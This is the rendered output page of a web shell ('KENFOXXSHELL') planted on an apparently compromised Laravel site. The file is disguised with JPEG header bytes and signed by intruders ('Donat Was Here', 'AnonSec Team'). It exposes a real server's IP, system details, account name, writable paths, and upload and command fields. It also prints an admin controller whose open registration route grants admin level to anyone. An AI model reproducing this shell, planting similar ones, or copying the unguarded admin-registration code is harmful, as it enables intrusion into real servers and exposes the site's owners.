JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/domains/bellizeno.com/public_html/app/Http/Controllers/AdminAuth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/domains/bellizeno.com/public_html/app/Http/Controllers/AdminAuth/AuthController.php
<?php 
namespace App\Http\Controllers\AdminAuth;

use App\Http\Requests\RegisterAdminRequest;
use Illuminate\Foundation\Auth\AuthenticatesUsers;
use App\Http\Requests\UserAdminRequest;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Users;
use App\Images;
use Input, File;
use Validator;
use Auth;
use DB,Hash;


class AuthController extends Controller {

    /*
    |--------------------------------------------------------------------------
    | Registration & Login Controller
    |--------------------------------------------------------------------------
    |
    | This controller handles the registration of new users, as well as the
    | authentication of existing users. By default, this controller uses
    | a simple trait to add these behaviors. Why don't you explore it?
    |
    */
    protected $redirectTo = '/admin';
    
    use AuthenticatesUsers;

    /**
     * Create a new authentication controller instance.
     *
     * @param  \Illuminate\Contracts\Auth\Guard  $auth
     * @param  \Illuminate\Contracts\Auth\Registrar  $registrar
     * @return void
     */
    public function __construct()
    {
        $this->middleware('guest')->except('logout');
    }
    public function getRegister()
    {
        return view('admin.auth.register');
    }
    public function postRegister(RegisterAdminRequest $request)
    {
        $thanhvien = new Users;
        $thanhvien->username = $request->username;
        $thanhvien->name = $request->name;
        $thanhvien->email = $request->email;
        $thanhvien->level = 1;
        $thanhvien->password = Hash::make($request->password);
        $thanhvien->remember_token = $request->_token;
        $thanhvien->save();
        return redirect('admin/login');
    }
    public function getLogin()
    {
        return view('admin.auth.login');
    }
    public function postLogin(UserAdminRequest $request)
    {
        $auth = array(
            'username' => $request->username,
            'password' => $request->password,
            'level' => 1,
            'status' => 1
        );   
        $remember = $request->remember ? true : false;

        if (Auth::attempt($auth, $remember)) {
            return redirect('admin')->with('flash_notice', 'Đăng nhập thành công.');;
        }else{
            return redirect('admin/login')->with('flash_error', 'Tên đăng nhập hoặc mật khẩu không đúng.')
            ->withInput();;
        }
    }
    public function logout()
    {
        Auth::logout();
        return redirect()->route('admin.auth.getLogin');
    }

}

Anon7 - 2022
AnonSec Team